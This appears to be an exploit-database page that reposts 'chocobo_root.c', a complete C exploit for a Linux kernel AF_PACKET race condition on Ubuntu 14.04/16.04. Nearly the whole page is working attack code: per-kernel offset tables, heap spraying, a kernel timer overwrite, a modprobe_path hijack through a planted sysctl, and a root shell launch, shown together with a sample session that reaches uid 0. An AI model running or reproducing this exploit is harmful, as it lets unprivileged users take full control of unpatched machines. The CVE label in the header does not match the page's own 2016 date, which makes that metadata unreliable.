Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) AF_PACKET Race Condition Privilege Escalation
CVE
Category
Price
Severity
CVE-2017-7308
CWE-362
$10,000 - $25,000
High
Author
Risk
Exploitation Type
Date
Perception Point
Critical
Local
2016-12-07
CPE
cpe:cpe:/o:linux:linux_kernel:4.4.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Attack Requirements Present AT The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker). Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016120045 Below is a copy:
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) AF_PACKET Race Condition Privilege Escalation /*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.
tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee
11/2016
by rebel
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <sys/syscall.h>
#include <signal.h>
#include <sched.h>
#include <sys/utsname.h>
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
struct offset {
char *kernel_version;
unsigned long proc_dostring;
unsigned long modprobe_path;
unsigned long register_sysctl_table;
unsigned long set_memory_rw;
};
struct offset *off = NULL;
//99% of these offsets haven't actually been tested :)
struct offset offsets[] = {
{"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
{"4.4.0-47-generic #68~14.04.1",0,0,0,0},
{"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
{"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
{"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
{"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
{"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
{"4.2.0-17-generic #21",0,0,0,0},
{"4.2.0-18-generic #22",0,0,0,0},
{"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
{"4.2.0-21-generic #25~14.04.1",0,0,0,0},
{"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
{"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
{"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
{"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
{"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
{"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
{"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
{"4.2.0-23-generic #28",0,0,0,0},
{"4.2.0-25-generic #30",0,0,0,0},
{"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
{"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
{"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
{"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
{"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
{"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
{"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
{"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
{"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
{"4.2.0-25-generic #30~14.04.1",0,0,0,0},
{"4.2.0-23-generic #28~14.04.1",0,0,0,0},
{"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
{"4.4.0-47-generic #68",0,0,0,0},
{"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
{"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
{"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
{"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
{"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
{"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
{"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
{"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
{"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
{"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
{"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
{"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
{"4.8.0-26-generic #28",0,0,0,0},
{"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
{"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
{"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
{"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
{"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
{"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
{"4.2.0-19-generic #23",0,0,0,0},
{"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
{"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
{"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
{"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
{"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
{"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
{"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
{"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
{"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
{"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
{NULL,0,0,0,0}
};
#define VSYSCALL 0xffffffffff600000
#define PAD 64
int pad_fds[PAD];
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
void *setsockopt_thread(void *arg)
{
while(barrier) {
}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while(barrier) {}
while(1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if(x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if(x != 0) break;
y++;
}
fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}
void pad_kmalloc(void)
{
int x;
for(x=0; x<PAD; x++)
if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
fprintf(stderr,"pad_kmalloc() socket error\n");
exit(1);
}
}
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
fprintf(stderr,"couldn't set sigmask\n");
exit(1);
}
fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);
pad_kmalloc();
fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));
if (fd==-1) {
printf("target socket error\n");
exit(1);
}
pad_kmalloc();
fprintf(stderr,"sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
fprintf(stderr,"removing barrier and spraying..\n");
memset(exploitbuf,'\x00',BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while(!vers_switcher_done)usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
fprintf(stderr,"current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if(pbd == MAP_FAILED) {
fprintf(stderr,"could not map pbd\n");
exit(1);
}
else {
off = pbd->hdr.bh1.offset_to_first_pkt;
fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
}
if(val == TPACKET_V1 && off != 0) {
fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
}
else {
fprintf(stderr,"race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
sleep(1);
fprintf(stderr,"closing socket and verifying..");
close(sfd);
kmalloc();
fprintf(stderr,"all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
fprintf(stderr,"couldn't set sigmask\n");
exit(1);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
if(*vsyscall == 0xdeadbeef+x) {
fprintf(stderr,"\nvsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
int x;
pthread_t v_thread;
sleep(5);
for(x=0; x<300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2,".",1);
sleep(1);
}
printf("could not modify vsyscall\n");
exit(1);
}
void verify_stage2(void)
{
int x;
struct stat b;
sleep(5);
for(x=0; x<300; x++) {
if(stat("/proc/sys/hack",&b) == 0) {
fprintf(stderr,"\nsysctl added!\n");
exit(0);
}
write(2,".",1);
sleep(1);
}
printf("could not add sysctl\n");
exit(1);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if(pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
printf("\n");
if(WEXITSTATUS(status) == 2) {
printf("retrying stage..\n");
kill(pid, 9);
sleep(2);
goto retry;
}
else if(WEXITSTATUS(status) != 0) {
printf("something bad happened, aborting exploit attempt\n");
exit(-1);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
fprintf(stderr,"exploit starting\n");
printf("making vsyscall page writable..\n\n");
exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
printf("\nstage 1 completed\n");
sleep(5);
printf("registering new sysctl..\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00),"hack");
memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(off->proc_dostring);
c->data = (void *)(off->modprobe_path);
c->maxlen=256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
printf("stage 2 completed\n");
}
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open("/proc/sys/hack",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"could not open /proc/sys/hack\n");
exit(-1);
}
memset(buf,'\x00', 256);
readlink("/proc/self/exe",(char *)&buf,256);
write(fd,buf,strlen(buf)+1);
socket(AF_INET,SOCK_STREAM,132);
if(stat(buf,&s) == 0 && s.st_uid == 0) {
printf("binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd,"/sbin/modprobe",15);
close(fd);
execl(buf,buf,NULL);
}
else
printf("could not create rootshell\n");
}
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
int i, crash = 0;
char buf[512], *f;
if(argc == 2 && !strcmp(argv[1],"crash")) {
crash = 1;
}
if(getuid() == 0 && geteuid() == 0 && !crash) {
chown("/proc/self/exe",0,0);
chmod("/proc/self/exe",06755);
exit(-1);
}
else if(getuid() != 0 && geteuid() == 0 && !crash) {
setresuid(0,0,0);
setresgid(0,0,0);
execl("/bin/bash","bash","-p",NULL);
exit(0);
}
fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");
uname(&u);
if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';
snprintf(buf,512,"%s %s",u.release,u.version);
printf("kernel version: %s\n",buf);
for(i=0; offsets[i].kernel_version != NULL; i++) {
if(!strcmp(offsets[i].kernel_version,buf)) {
while(offsets[i].proc_dostring == 0)
i--;
off = &offsets[i];
break;
}
}
if(crash) {
off = &offsets[0];
off->set_memory_rw = 0xffffffff41414141;
}
if(off) {
printf("proc_dostring = %p\n",(void *)off->proc_dostring);
printf("modprobe_path = %p\n",(void *)off->modprobe_path);
printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
}
if(!off) {
fprintf(stderr,"i have no offsets for this kernel version..\n");
exit(-1);
}
pid = fork();
if(pid == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if(unshare(CLONE_NEWNET) != 0)
fprintf(stderr, "failed to create new network namespace\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
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